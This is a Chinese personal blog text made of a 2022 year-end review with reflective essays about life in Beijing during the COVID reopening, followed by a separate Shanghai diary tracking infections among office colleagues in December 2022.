7月初的时候回学校和几个同学补拍了毕业照,7月7号团建第二次去欢乐谷玩,并且被“怂恿”玩了“丛林小火车”,第一次做过山车的体验就是在中间感觉快要死掉了,失重的感觉真的很恐怖,也许有点像面对死亡时候的那种无助感?7月还和本科室友聚餐了一次,其中两个还邀请去我租的房子坐了一会,主要是让他们体验一下我买的pico(hhhh),然后一起看了电影「人生大事」。
暑假的时候,当然我已经正式入职在上班了,办理和档案相关一些事情,又跑学校好几趟办理,特别麻烦,因为那个时候还是疫情管控。
生日的时候收到我人生的第一瓶香水。我自己没买过香水,一方面是觉得没啥必要,另一方面是觉得太贵。收到后虽然出门没用过,但是偶尔一个人时候,喷一点,寂静的房间里,只有自己一个人,还是蛮有情调的。
8月初的时候,我姐和我姐夫订婚了,吃了席还收到了红包。8月份末的时候,公司一些伙伴们自发组了打乒乓球的局,我也加入进去玩了几次。在学校的时候,体育馆随便进去玩,进入社会才发现乒乓球馆还挺贵,一个小时人均50+,后来找到一个大学校内的,便宜一些。也正是这个时候,买一个电动车的想法愈发强烈。因为每次打完球后都找不到共享单车,回去很费劲。
8月底的时候,就买下了人生的第一辆车——电动车。第一次买车非常怕在被价格上坑,别人说啥就是啥,我也不懂,所以我是在网上买的,店里通过货拉拉送过来的。有了这个车后整个夏天和秋天是非常舒适,上下班5分钟多一点就到。周末如果想去稍远一点店里也不是问题(虽然大部分周末都是宅在屋子哪也不去...)。
9月初的时候,高中一个关系不错的女同学结婚了,这也是我人生中第一次随份子,这才让我感受到,怎么我也到了这个年纪的时候了。有点陌生的感觉。
接着就是中秋、国庆。非常快的就进去了深秋和初冬。10月末的时候家里又出了一件非常让我痛苦的事情(不是生老病死的事情)。事情发生时候是周五,晚上8点的时候我接到了电话,然后脑子就嗡了一下,我说我等下给你回电话。就去吃饭了,吃完饭找了一个会议室开始回电话,当时我不知道怎么说,总之特别混乱的一天。当天晚上回去的时候,想找个人倾诉一下,没找到一个人。有一个朋友因为爷爷住院我也不想拿我这些破事烦别人。
所以我预约了人生的第一次线上心理咨询。线下体验也许会更好,但还是没有敢线下。是通过电话,预约的10月27号的早上9点,不耽误上班时间。早上8点50就洗漱好坐在桌子旁了。很紧张,所以提前晚上就把想倾诉的事情都写了大概。到点准时接到了电话,电话那头声音首先是声明我们谈话的内容不会被任何第三方的人知道,并且告知谈话时间是50分钟,并开始询问是不是第一次心理咨询。
咨询师并不是什么灵丹解药,任何心理问题或者烦恼,通过一次对话就能拨云见日。但是至少这件事我必须得找人说出来,其次心理师有时会站在我的角度和我一起去想那该怎么办呢,有时也会站在她的角度给我一些她的建议。总的来说这次咨询对我来说很有帮助,也帮助我面对这件事情的后面处理。
11月19号的时候预约了第二次的心理咨询,那个时候已经好多了,主要是倾诉一些生活工作上压力的事情以及我爸妈房子还是背负很高的房贷。咨询师建议我可以提前还贷减少利息。我在这之前只知道我家还有很多房贷正在换,但不知道可以提前还款。甚至也不清楚商业贷款和公积金贷款的一些具体细节。虽然是我妈自己贷的款,但是她对细节也不是很清楚。正是这件事之后,我详细了解了商业贷款中的等额本息和等额本金利息计算区别以及提前还款的注意事项。最终让我爸妈在年前的时候提前还了一部分,我也出了一部分。这减少了很多我在这件事情上的压力和焦虑。
准确的是是在双十一之后的几天中,北京的疫情越来越严重。我的小区当时也因为有确诊被11月21号被封控,外卖不能送上楼,而是送到小区门口。每天中午点完外卖后看的路线图,在外卖快要到的时候提前跑过去等。不然错过后,再去拿外卖会非常麻烦。而且外卖/超市的配送费可见的越来越贵。像我还好,买了几个超市的订单,配送费只有3元(平时0元),基本上没有太影响我的生活,只是有些提心吊胆。这个期间乌鲁木齐大火事件,让民众怨气越来越重,在11月26号的时候,北京很多小区都开始要求解封,要求“科学管控”。很多是年轻人和我年纪差不多大的,其诉求也许只是不要乱封,比如居委会的权利越来越高,社区有一例确诊就整个小区全封,说是网格化管理,结果外卖/商超配送根本没办法送。据说那一天,很多小区都进行了类似的“活动”。
到11月27号晚上的时候基本解封了,外卖已经可以进来了,不知道是“争取”的结果还是本来就是“按期解封”了。
在这之后,北京传言要放开几乎成为人尽皆知的秘密,尽管新闻推送还再一遍遍强调“科学防疫,动态清零”。我的房子在12月5号的时候到期,所以这两天也一直在找房子,最终看了一个房东直租的,一个中介带看了两间。最后选了中介的那间。当时犹豫的还是房东直租的小区偏路边担心比较吵,以及没有暖气(他们冬天用充油取暖器取暖)。但是住进去中介推荐的那间后远远没有当时“承诺”的那么美好。唯一我眼见为实的就是小区确实比较安静...
12月5号搬进新房子的第二天早上,想去物业办理门禁,但是门口显示有确诊被临时管控,就回去顺路做了一个核酸。结果半夜快12点的时候,有公安局打电话说十混一阳,说晚点会有小区上门做单管。可是等到半夜1点半也没有任何动静,我就睡着了。实际上这个时候放开的政策越来越多,基本没人管了。
12月3号官方辟谣北京明日放开,12月6号就有新的政策说一些地方不查核酸了,接着7号就发布感染后可以居家治疗,再接着8号宣布进京检查站不再查健康码。至此基本上北京放开管控了,也是从此时,北京的疫情迎来高峰期。在11月底的时候预感到很大可能性放开,那个时候还只是买了点感冒灵和消毒喷雾,没买退烧药,而在这个时候所有外卖平台基本上都买不到药和抗原了。几乎每天抽时间都会关注一些群有没有药和抗原,外卖/商超配送费也慢慢变高,每天担心外卖有没有人接单,收到外卖后都是放在门口,等一会带口罩拿进来消毒与洗手。
12月11号的那个周末估计很多很多人都被感染在家发烧,正如数据预测的那样,12月17号到达高峰后,物流和配送慢慢的开始恢复,到了12月底的时候,基本上配送和物流和之前差不多了。
也许是很幸运的,在疫情爆发前我搬到新房子,而在第一波疫情的整个期间除了倒垃圾没出过门,外卖/快递也是日复一日的消毒,所以没有发烧。但是后面身体确实有几个不舒服的症状和新冠很像。比如气短胸闷、腰痛、喉咙痛。不知道是不是无症状感染还是单纯一直在家不锻炼导致的免疫力下降的问题。
第一波疫情基本结束,后面会是怎样呢,哎,前路路漫漫,什么时候才能真正的结束新冠疫情...
我每天时常有意无意的会给自己的生活打分,比如周末的时候,会在一天结束的时候评判自己是不是一整天又浪费了时间,又虚度了这么宝贵的一天。这似乎是和我们从小接受的教育有关,吾日三省吾身。但是其实自己只是一个普通人,按照教科书般的原则给自己生活打分,能达到8分以上是非常难的一件事。达到6分才是更常见和正常的一件事情。我们花费了一些时间在其他的娱乐的事情上,而不是在计划的事情上,我觉得并不是浪费时间。时间就和钱一样,是拿来用的。就像吃饭和住房每月需要花费很多钱,那你能说这些钱是被浪费了吗?
由此我希望的是能够每天减少对时间分配上的焦虑,而把精力真正的用在如何分配时间上。比如我主动有目的的使用一些时间去娱乐,一部分时间去工作或学习,而不是以难以达到的要求希望自己每天能达到10分,充分利用时间来学习,这不现实,同样还是增加不必要的焦虑。
在我看来有两种:一种是居安思危,另一种是因为自己过去没做好而焦虑,比如因为拖延导致任务越来越多焦虑。
后者产生焦虑与自责、后悔类似,其本质是不想对自己的行为负责。因为这些情绪是我们并不想去接受自己做的不好的那一部分,因为把错误归咎到没有做好的过去的自己,以为产生一些愧疚心理,就能抵消掉自己过去没做好的行为一样。焦虑自责后悔不能解决问题,因为恰恰帮助我们减轻了一些负罪感,下次同样的场景,我们仍然会不自觉的滑到“不去做不好”的那面。
焦虑其实不是什么坏事情,它是一种帮助我们发现危险的本能。但是如果只是焦虑没有任何行动,那么焦虑似乎就变成我们面对现实与问题的一种挡箭牌,彷佛我已经焦虑了,即使没有做,那是我做不到,不能怪我了。
减少焦虑、自责与后悔情绪,我觉得最重要的是对自己的所有行为要做好负责的觉悟。举个例子,你可以晚睡、熬夜、通宵来换取深夜逃避现实的快乐,但是就要做好第二精神萎靡不振,身体变差的后果,而不是到了第二天白天的时候又开始后悔为什么昨晚没有早睡,因为这一切都是自己的选择而已。你可以白天去看视频而不去完成计划中的任务,那么就得承担任务被延期的后果,要么是第二天花费更多的时间是弥补,要么就是因为任务未完成导致的后果。而不是第二天去焦虑哎呀,任务越来越多怎么办,因为这一切的后果都是你自己亲自的选择。
你可以选择减少社交来避免自己被社交伤害,也可以选择工作中减少与合作方的沟通来减少麻烦,但是与之带来的后果也必须提前清楚与承担,如果不想承担,那就必须强迫自己去完成这些事情。因为对自己的行为负责是成年人非常重要的一个品质。
小孩子事情没做好可以撒撒娇就过去了,没人会太责怪一个小孩子。但是大人事情没做好,那一定是要提前就预知好风险并且主动承担,没有怪罪别人的借口。
有一段时间我会觉得自己的生活没有任何意义。在B站上看到一个外卖员拍自己送货的VLog,平时普通的生活,拍出来后感觉还挺有意思。VLog就是对生活的一种第三方视角,因为视频加上配乐或者一些解说,再加上快进与剪辑,枯燥重复的生活彷佛也被赋予了意义,其原因在于我们看视频的时候不会切身的感受到视频中行为本身产生的物理感觉。
比如让你去在冬天送外卖,再怎么也很难感受到自己的工作是有趣的,毕竟寒风刺骨,而且每一单的时间还很紧急,切身的体会也只会是觉得这份工作很累很辛苦,很难看到所做事情的意义。
再比如电影其实就是一种第三方视角来叙述生活中的事情。我们能从电影中获得感动、激励等等情绪。因为电影中通过非常巧妙的剪辑,恰到好处的音乐,精心设计的光影和画面,这是我们平时体验和观察自己生活所缺少的元素。
如果我们也可以尝试用第三方视角来观察自己的生活,也许生活也能像电影一样。至少在两个方面会有所帮助。
其一,在面对感觉到无意义的工作时候,不想去继续的时候。从第三方视角来看,从更长的时间线看就能看到我们所做的每件事情的价值。可以通过拍一些VLog或者照片,让自己具象的感受到自己的变化。
其二,在为自己做的一些蠢事耿耿于怀的时候,从第三方视角来看这些事情,不过是一个很小的事情。可能当时会额外在意一下,但是一般很快就会忘掉了。自己那时候的复杂的心理活动也不过是短短的几行文字。如果觉得自己正处在一个低谷痛苦的时候,觉得自己离目标很远很失败的时候,我们从更长的一个视角来观察自己,也不过是自己人生中很小的一个插曲,或者即使他给我们带来了一些伤害,其实也是我们人生中非常宝贵的经历和记忆。
如果连续一周或者两周都是高强度工作,下班回来的时候会发现自己的大脑就像“木头”一样,对生活提不起来劲来,也不知道自己的目标是什么,是一种很空洞的感觉。周末的这个时候,适当的矫情一下,反而能让我们体验到生活的“意义”。生活的意义总感觉是很虚的一个东西,在我看来就是逐渐找到自我价值的一个过程。而自我价值就是感受到自己不是平庸的,普通的。矫情通过一种很奇怪的心理过程,会让自己短暂的感觉自己的某些“思考”不被外人理解,这恰恰是发现自己独特之处的一种方式。在音乐软件的随手打开一些摇滚歌曲,总会看到很多“矫情”或者“中二”的评论和发言,我觉得并没什么问题。小的时候很容易中二,总觉得自己是天选之子。长大了随着接触的人越来越多,经历的事情越来越多,就越发的发现自己的渺小和普通,因此能让自己偶尔变得“中二”一些,也会让自己觉得自己还是有价值的。当然走到极端的另一面,比如狂妄自大,或者持久性的认为身边的所有人都理解自己,众人皆醉我独醒也就大可不必了。
不知道你有没有和我一样,在面对他人的时候,总会觉得对方只有一面。比如在工作上你和对方相处愉快,对方温柔负责,你就会潜意识的给对方贴一个标签,并且期望对方任何时候都能按照这个标签来进行来对自己反应。如果对方表现出了另一面,我们会很难以接受。
这里有这样的一个故事,高中很好的一个朋友,高中的故事都在教室中发生,所以我俩的事情都是围绕教室的一些琐碎的事情,会感觉对方是一个非常活泼、热情的人。大学的寒暑假期间,我去对方家玩的时候,两个人在一块有的没的说话,倒也还不错。然后等我们出去去超市的路上,以及到店里的时候,就会感觉对方的行为处事模式完全像变了一个人一样,尤其是在对店员说话的时候,完全没有他平时和他独处时候那种俏皮,稚嫩的行为,相反非常“成熟”,甚至在外面走路聊天的时候,经常说这家乡话的时候蹦出普通话,这让我感到非常不适应,觉得突然和他的距离很远。这一点我一直认为是我和他的关系还没有熟络到那份上。
前一阵子,我出门需要办理一个材料,骑着电动车来回20公里,那天的风还特别的大,等材料交上去的时候,我在路上走路回去的时候,突然感觉整个人都非常不对劲,如果这个时候身边有朋友和我一起走路,我估计不会像平时那样的不急不慢的语气聊天,而是会很暴躁,因为这个时候我想尽快回家。这一刻的时候我突然有体会到的是一个人在面对不同场景有不同的反应态度是很正常的一件事情。虽然我的经历可能和我的朋友并不一样,但是人确实是有很多不同面。
观察身边的人就会发现,有的人性格比较稳定,不管在和对方独处还是一群人聊天的时候,都能hold住全场,语气和态度几乎能保持不变,而有的人能明显感觉到他在和同一个人交流的时候,在不同的社交环境中会有截然不同的社交表现。所以,在我体会到这一点后,如果社交对象的态度会有变化,也没必要去怀疑自己是不是因为自己导致了别人的态度变化。这其实是一个非常正常的现象,我们只要去正视它,告诉自己这是一种正常现象,社交压力也就会小一些。
在过去的一年,我越发少把我的烦心事和别人去说(纯吐槽那种的还是会有不少次在关系比较好的群里去吐槽),因为有很多事情我,对方没有在经历过程中很难设身处地的感受。同时,我倾诉一堆之后,无非是给别人忙碌的生活再添加一层忙碌。和大学时候不同,大学的时间似乎全是空闲时间,对待朋友,总觉得什么事情都可以倾诉、理解。另一方面是工作后,有一些事情当下会觉得烦恼和痛苦,只需要过上一周以后,工作上的忙碌就能让自己慢慢的忘掉之前的那些感受。
三月份的时候,有个朋友问工作怎么样,我当时心里想的是工作虽然很累,但也没想象的那么坏,至少让我没时间去心理内耗,去想那些乱七八糟的事情,工作就足以透支大部分精力,其余的时候也只想放空自己获取一些精神快乐。
工作是管理人类的一种必要手段,也许这句话没错。即使物质到了空前丰富的时候,我想人类也是有工作,只不过奖励变成了其他的事情罢了。因为如果没有工作,人就闲起来了。人一旦闲起来,就容易“作”。这里作无非是希望获取更高、更多的精神满足,整个社会就处于非常混乱的局面。
但是也有有一些事情让我觉得就是熬不过去的时候,去年我找过两次心理咨询,这也是我第一次真正的接触心理咨询这件事情。心理咨询其实不是一个特别神秘的事情。另一个人会去耐心无条件的去倾听你说的任何话,并适时的给出她的一些建议和感受,这是我在心理咨询后的一些一些感受。但是约心理咨询有一点不好的地方,一般只能3天甚至更远之后,所以很多时候一旦错过那个情绪释放期,就慢慢的不想去倾诉了。
之前看过这样的一张图,有些自嘲,也有点笑着笑着就哭了梗图。
我们也彷佛也从以为自己才是世界的主人,到慢慢成为这个世界的npc。还有下面一张梗图也很好笑。
在小的时候,我会觉得自己人生是非常独一无二的。讲个有意思的故事,很小的时候,我觉得自己是太阳之子。我爸妈在北京打工,小学暑假的时候我就会被接过去,我一去北京,就是大晴天,然而据说我没去的时候就在下雨。这当时是非常小的时候一个小故事。再大些的时候,我俩也会觉得我的人生怎么可能是我从电视上看到了,或者别人听到的那样。甚至我当时不理解“催婚”这件事情。我觉的结婚谈恋爱不是自己的事情吗,难道别人催一下,你就谈了,别人不催你就不谈?别人催一下你就仓促结婚了吗?当时非常不理解这件事情,觉得这件事真的要多蠢又多蠢。可是现在,身边还没有对象的同龄人,几乎都在被催着谈恋爱,找对象,结婚...我也不例外。到了某个年龄后,就彷佛一定要进入那个固定的阶段,你逃不了,就像游戏中NPC,在到了某个阶段就自动触发动作。你必须得干这件事情,至少你必须被这件事情所困扰。
毕业之前,偶尔看那种总结人的一生经历的事情的视频,就还没觉得怎样,也许那个时候还天真的觉得自己不会步入那种枯燥的生命流程中呢。
可是现在呢,我已然已经在这个流程中而有些身不由己了。以前总觉得哪有什么身不由起,那只不过是借口,但是改变总是会带来非常大的风险和不确定性,是需要非常大的毅力和坚持才可以的。我怀疑自己是否具有这个素质。特立独行这个词实践起来却很难。
虽然好像挺悲观的,尽管我们非自愿的成为了这个世界的一个NPC,对于个人来说,还是会有更多的一些可变性,这也许不需要所谓的“翻天覆地”和突破性的变化,而只需我们坚持做一些不一样的事情, 比如坚持自己的一些兴趣爱好,或者做一些小小的改变,比如改变自己的书桌环境就能获得不一样的人生体验与感受。也就是我们仍然可以成为自己生活的玩家。
就像“三毛给不快乐女孩的一封信”里面写的那样,去做一些小小的改变,能让我们发现生活更多的盼头。
如果是我,第一件会做的事情,就是布置我的房间。我会将房间粉刷成明朗的白色,给自己在窗上做上一幅美丽的窗帘,我在床头放一个普通的小收音机,在墙角做一个书架,给灯泡换一个温暖而温馨的灯罩,然后,我要去花市,仔细的挑几盆看了悦目的盆景,放在我的窗口。如果仍有余钱,我会去买几张名画的复制品——海报似的那种,将它挂在墙上……。这么弄一下,以我的估价,是不会超过四千台币的,当然除了那架收音机之外,一切自己动手做,就省去了工匠费用,而且生活会有趣得多。
生活中很多事情,也许在当时觉得像浮尘一下意义不明,但是坚持一段时间后,就会发现原来已经走了很远经历了很多了不起的事情。新的一年,祝愿大家都能身体健康吧,注意防护,永不生病!我们下篇文章见。
随着疫情放开管控的步子一下扯的太大,感染人数直线上升,所有人也许都无法幸免,开放的政策也不会再收紧。日子还得过,记录下这段非常岁月,原本标题写的是“等阳记”,并且是日更的,因种种原因没有发布,今天(12-25)老婆大人也发烧了,直接把标题改为阳记了,虽然截止到目前我还没有症状,但是已经无法避免。全文截止到目前约7000字,阅读需要一定时间,错别字皆因输入法问题,后面再校正。
清晰的记得山东发布说全身取消落地检,放开核酸,看到这个消息是意料之中又在意料之外。接着就看到老家湖州发布上同样的信息,然后浙江全省各个地级市几乎同时发布了取消落地检,放开核酸的消息。接着就看到上海小步跟进了政策,主要是取消了来沪返沪不满五天的提示,不再要求来沪三天三检、五天四检。一时间风向大变。
第一个反应赶紧是屯口罩,马上找我Z1同事,他的一个客户是一家上市医疗器械公司,我们公司是客户设备的关键配件供货商,给我们的口罩远低于市场价。之前防控的时候我买过一些KN95,让报了个价,还是和之前一样的价,没变化,然后我说我回家看下还有多少口罩再决定买多少,回家数了一下还有20几盒,然后就没有着急下单。于此同时在办公室呼吁同事们抓紧购买药品,那时候没有具体明确买什么药,只是告诉大家家里常备的感冒药抗病毒药都买一些,更多的都在买连花清瘟,感冒药之类的,还没牵扯到退烧药。
周三,又到了出差的日子。买口罩的事情就给放一边了。赶到生产基地那边的时候,高铁下车,终于没有从上海过来的高风险通道了,也不强制核酸了,保险起见,我还是自愿去做了个核酸,单人单管。当天晚上入住酒店前,核酸报告才出来,阴性。酒店也不看核酸了,仍然看了下行程卡。因为定点酒店,也就是看了一眼就顺利入住了。
从衢州回上海,因为要把公司的一辆车来回上海,就没有高铁返回了。高速进上海收费口,之前的防控岗亭全撤了,也不要求靠边停车扫场所码和做核酸了,似乎一切又回到了之前的状态。今年3月份开始浙江所有高速口都会查验核酸和行程,与之对应的上海知道10月才姗姗来迟补上这个短板,而短短一两个月,这政策又取消了。回到上海,发现我随申码上面也没有在出现来沪返沪不满5天的大红色提示了。晚上办公室群里面再次呼吁大家备点药品。
周末两天在家,风声鹤唳,很明显网上的那个吃药顺序图疯传,药品瞬间紧张了。周末在家在美团买药疯狂下单,网店显示有货但是下单后连着三家店购买布洛芬都给我退单了(我有偏头痛,布洛芬是家中常备药),后来终于在另外一家店下单成功。同步把小朋友的止咳药易坦静、感冒药豉翘颗粒都买了,唯独没有买到感冒药(感康、可立克)那种。就是前面几天屯感冒药的买走了。然后我只能买了穿心莲。连花清瘟神药在魔都封控期间有发放,还有疏风解毒胶囊。所以这类药就没有买了。我家老婆大人在防控期间,每周都要出门,放开了,反而不出去了,各大商场门可罗雀。
上海经过一周的思考,终于发布了新规,跟上了浙江的节奏。除特殊场所外不再查验核酸阴性证明,不再要求扫码场所码和数字哨兵。魔都的放开程度与国家保持一致了。从这天开始,病例的增长进入了高速通道。周一正常进办公室上班,公司开始屯一些防疫用品:酒精、84消毒液、N95口罩、抗原试剂、布洛芬、感冒药、连花清瘟。之前有部分同事没买药的经过一周的风声鹤唳也在疯狂买药,奈何个人网上已经很难买到相关药品。还好公司渠道备了相关药品,如果哪个同事出现症状了可以在公司领取相关药品。终于我决定上周没买的口罩,想起来赶紧下单,再次问了一下Z1同事,让客户再报个价,客户那边回复报价翻了小一番,我二话没说,先来一箱再说,火速微信转账,客户那边大叫,先别下单了,能不能发货不知道啊,然后客户也没收款,然后竟然给退款了,告知我们公司产能被当地一大型国有医药企业协议购买去了,他们公司员工自己也无法购买了。
周二临近中午,营销部一个新的方案需要讨论,营销部两位,财务部一位,IT部的我,加上老板,在小会议室头脑风暴,关键是五个人都没带口罩,就这么唾沫星子横飞,沟通了40分钟有余。下午申请好明天的出差计划,先去杭州客户处再去生产基地,一切妥当到了下班。晚上办公室小群,L1同事说我好像有点发烧,明天会不会影响你们出差。过了不到半个小时又说,大家放心,没啥事,抗原也正常。大家也就没放在心上。这天山东省同样速度最快的宣布对进入医疗机构门急诊不再查验核酸。这天历时三年多的通信行程卡正式下线。
凌晨4点,L1同事群里说我烧了一晚上,估计是阳了。等我早上起来看到消息的时候先是一惊,赶紧催着他做核酸,我按计划触发。接上L2同事,我们驾车前往杭州。Z1同事6点多的高铁去衢州。早上8点,L1仍然说抗原没问题。我们的行程继续。到了8点半,L1说确证了,抗原两条杠,症状全身酸痛、头痛、喉咙干掉。此时我和L2已经到德清了。没办法进服务区和公司汇报,Z1高铁已抵达义务。沟通下来,各自取消行程。一为了不给客户带来不必要的麻烦,二位了保护生产基地的安全。下午我们各自从半途回到了上海办公室。经过一番沟通,我认为自己的风险比较大,就跟Z1同事说,晚上别回去了,先躲一下,我们这种属于高度密接了,没排除风险前最好别传给家人。当天我们小区群里面有居民自己在车里隔离,给了我一个启发,我就说晚上睡车上算了。临下班再问Z1同事咋整,他说他家人让他回去,别住外面了。下班后回家路上顺道做了个核酸,等到凌晨2点报告显示阴性,瞬间缓和了好多。
昨晚在车上睡的,和老婆商量好说我的风险比较大,就不回家了,在地下车库,她把饭菜都给我拿下来,其中有一大碗鸡汤,顺便带了2斤桔子,茶、毛毯。妥当后就在车上睡了一夜,毛毯也没盖,那两天地库有21℃,加上闷在车里,也不是很冷,只是轿车空间太小了,蜷曲着像个大虾迷迷糊糊睡了一夜,还一会儿醒一下看下核酸结果。知道凌晨2点多核酸结果出来才沉沉的睡去。所以今天一整天在公司状态都不怎么好,到下午的时候,我的偏头痛又发作了,加上幻阳症的刺激,整个人感觉都不好了,然后就去测抗原、量体温,啥事都没有,却惶惶不可终日。白天Z1同事整个状态都不错,有说有笑。下午抽空和他一起加上Z2同事一起又去做了个混管核酸。临下班决定今天去酒店睡一晚养足精神。看看会不会好点。到了小区,老婆仍然给我送了饭(又有一大碗鸡汤),水,桔子,体温计。然后我直奔附近一家连锁快捷酒店。开好房,也不查核酸了,让我扫下场所码,我说不是不扫码了吗,前台告知主要是可以快速查看健康码,索性我直接把健康码给她看了,也就没扫场所码了。进了房间,洗了个热水澡就睡了,半夜不到,隔壁房间为爱鼓掌的声音震耳欲聋,一幅活色生香的画面感觉就在眼前。遂爬起来喝口水,顺便给自己量了个体温,一切正常,偏头痛也没了,看了下核酸结果,仍然显示检测中。等隔壁没声了,我也就一夜呼到天亮。
15号的核酸结果在今天下午都还没有出来,有点担心,之前小区群里面别人说核酸结果超时不出来基本都是混管异常待复核。昨天三个人一起做的混管,我和Z2同事在一个管中,Z1自己和别人是一个管。结果Z1的混管结果在16日早上出结果了阴性。我和Z2的混管结果知道16号下午都还没有出来,一直显示检测中。因为明天是周末,混管结果迟迟不出来决定下班去医院做个单管核酸。到了医院,单管核酸队伍老长,免费的混管核酸窗口没人,又突逢降温,淅淅沥沥的小雨伴着西北狂风大作,体感冰凉。好不容易快轮到我了,前面还有三个人,核酸采样亭要做消杀,紫外灯一开,采样员全吃饭去了,一打听紫外灯要开30分钟,在寒风中等到快二十点才回家。到了小区地下车库收拾妥当,一看昨天的混管出结果了,待复核。这操蛋的,早知道就不去医院单管了,拿着待复核结果小区里就能做单管,白白在寒风中排队2小时。老婆大人给我准备好了饭又拿到地库来了,我跟她说明天周末,今天单管结果没出来之前我不回家,在车上呆着。我在车上安心的刷着手机,期间隔壁车位停进来一辆车,那小司机停车后也不下车,摇下窗户抽烟,放倒座椅刷手机。我敲了敲我的玻璃,隔着车窗喊:小兄弟回家吗?回家赶紧下车,不回家就换个停车位。他不解,我说我阳了,之间他麻溜的发动车子开走了,不停的说谢谢谢谢。不多久又停进一辆车,一对小情侣,在车上恩恩爱爱的不下车。我又重复了一下要么下车赶紧回家,要么换个车位。对方似乎觉得我很霸道,没打算理我,我一看只能放大招了:我阳了,在车上隔离呢,他Y的一听跟兔子似的就跑了。凌晨在车上睡的迷迷糊糊,凌晨2点半看了下核酸结果,出来了,单管阴性,遂在办公室群里发了句我安全了,回家了。收拾东西上楼。
回到家洗了个热水澡,安心的睡到日上三竿。吃完早中饭,上午11点不到的时候,Z1同事发了一个37.4的体温图片和一句芭比Q了,我说你这没事属于正常问题吧,Z1说不出意外明天要高烧了,他自我感觉不好。女儿上完英语培训回家,按照老婆的习惯,下午要带娃出去溜达的。这一看这架势,小区里说好多阳,混管好多异常,老婆直接不敢出门了,防控的时候天天要出去,现在放松了反而不出门了,我笑她出去溜达啊咋不出去了呢。后来同事N1也发了个体温图片,感谢公司的布洛芬救了她,三天高烧终于退烧了,同事N1是最早有症状者之一,但是她多天核酸抗原双阴性,就是高烧咳嗽,然后三天高烧退后依然抗原核酸双阴,并且痊愈了,啥问题也没有,我猜她是赶上了这波流感。也就是说我们办公室新冠和流感两波病毒在办公室传播。N1同事对面的C1同事也被感染了一波流感,不过她没发烧,咳嗽两天就痊愈了。17号下午给Z1打电话,明显状态不佳,傍晚他自己发了个抗原双杠的图片,阳了。因为Z1阳了,我感觉我躲过了L1这波新冠,但是Z1感染了,我又不敢确定我是否躲过去了,有点后悔不该回家的,在外多待两天再回的就好了。17号晚上公司人力部门发通知公司直接定点了一个酒店告知大家,如果谁阳了可以自觉去指定酒店进行隔离,阴了以后再回家和上班,酒店费用公司承担。18日平静的度过了一天,自测抗原没问题。我就在群里号召大家大量超量补充维C,可以不停的炫桔子。晚上21点时分,同事M1发信息说她男朋友开始发烧了,喉咙痛大腿抽筋,问我们怎么办?我回复了一句:发烧+酸痛=新冠,抓紧测抗原。多补充电解质,防止脱水,大量补维C,炫桔子。问她自己是否有症状,告知自己没问题。
又到周一,新的一周工作日,没想到后面这一周减员严重。周一一早办公室群里L2同事说我老婆抗原两条杠,能来上班吗?加上昨天M1也是家人有症状,人力统一答复没症状就来公司吧。这一早N1同事又把最新的核酸截图出来了,依然阴性,明确她是感染了流感。这天早上老板还是给我们灌输病毒没啥可怕的,他连口罩都不带。虽然我们每个人都带了口罩,他也只能说当然能不感染最好别被感染。我总结了一下战略上要藐视新冠,战术上要重视新冠,就发到办公室群了。中午吃完饭,L2同事突然就焉了,满脸通红,有点不舒服,给他量了个体温38.9℃,赶紧催他回去了。下午1点,Z1同事发信息说他儿子也阳性了,和他一起在酒店隔离了。L2同事也去了酒店隔离。他俩在酒店顺利会师了。临下班的时候问了一下M1同事,她和她男朋友是否有做隔离?答曰没有,就问你们家有隔离条件吗?答曰有的,那我就说晚上你俩要分床分房间睡。到了下班,我和老婆商量去买菜,让我妈别出门了,我俩在菜场直接屯了4天左右的菜,并告知办公室的同事减少出门次数,一次多买点菜。晚上吃完饭,再打Z1和L2同事的电话,Z1经过两天低烧,状态有所好转。L2第一天发病很急,并且很严重,电话中已经无法说清楚话了,有点担心,赶紧跟公司说能不能派人去看看他,因为Z1也在酒店,并且Z1状态还不错,就让Z1去看下,结果Z1退房回家了,告诉我们他家5口人全军覆没了,所有人都被感染了,已经没有必要在酒店隔离了,包括只有3个多月的小孙子。陆续有同事给L2打电话,获得的信息暂时安全不需要去探望,也就作罢了。也是从今天开始我们家执行分餐制了,我老娘和和我女儿先吃,我和我老婆后吃,因为她俩不出门,女儿在上网课不用去学校。我和我老婆风险最大,双方都不断有同事倒下。同步让我女儿从我们房间搬到和她奶奶一个房间。我们晚上下班回家全身消杀好了以后再进家门,分餐的时候我们就躲在房间内。洗澡洗漱也都做好基础性的隔离和消杀。
难得女儿没睡在身边,于是连续两晚和老婆为爱鼓掌后沉沉睡去,老当益壮明显白天精神不错。周二M1同事早上一来精神状态就不好,一直说自己晕乎乎的,测抗原后正常,也不发烧,但是看着就病怏怏的样子。不过平时正常的时候看着也有点像林黛玉那种病态风格。我们也没多在意,就问了一句有没有和她男朋友分床睡,答曰没有,然后被办公室一群人奚笑一番,都说恋爱脑的人没办法。我们这种已婚的如果对方阳了,不是一脚踢床下去就是赶到外面去。我们部门后端开发今天带了一个一次性口罩,被我说了一顿,你怎么不带N95,一次性口罩没啥用,答曰不透气太难受了。我说现在风险这么高,你要加强防护,也就作罢了。今天是最安静的一天,持续到下班公司没有同事倒下,除了M1病怏怏的姿态,晚上20点,M1说有点发冷感觉不是很好,因为M1的工位离我们IT部门的工位最近,所以吓的我们部门几个小伙伴都做了下抗原,其中后端开发的抗原莫名是两条杠,但是他没有任何不适症状,我让他重新测一个抗原,显示阴性,我就说你抓紧去做个核酸,等他核酸回来发现后做的抗原也两条杠了。至此我们部门不能独善其身了。
不出意料的,M1同事今天没来上班,发烧咳嗽请假了,我部门的小家伙半夜也有症状了,早上4点还高烧,让其请假没来公司。今天的氛围明显感觉在办公室的都是战战兢兢。接着售后组的Z2中午说有点发烧,大腿后一根筋有点酸痛,我们怀疑他中招了,抓紧测了个抗原,抗原阴性,但是他这症状明显是新冠,让其回家,今天老板也没来公司,并且昨天老板在办公室全程带着口罩还是个N95,并且去找他谈工作的都被告知离他远一点,感觉有点不好。电话汇报工作的同事告知老板中招了,抗原阳了。下午Z2发消息说昨天的核酸结果出来了,阳的。至此今天一共倒下四位同事。晚上回到家,我老娘说今天有点头疼,可能晚上给小家伙盖被子爬上爬下着凉了。我给她测了下抗原和体温,还好不发烧,抗原也是阴性。同时为了保险起见让我老娘去做了个单管核酸(小区自上周就开始只做单管了)。
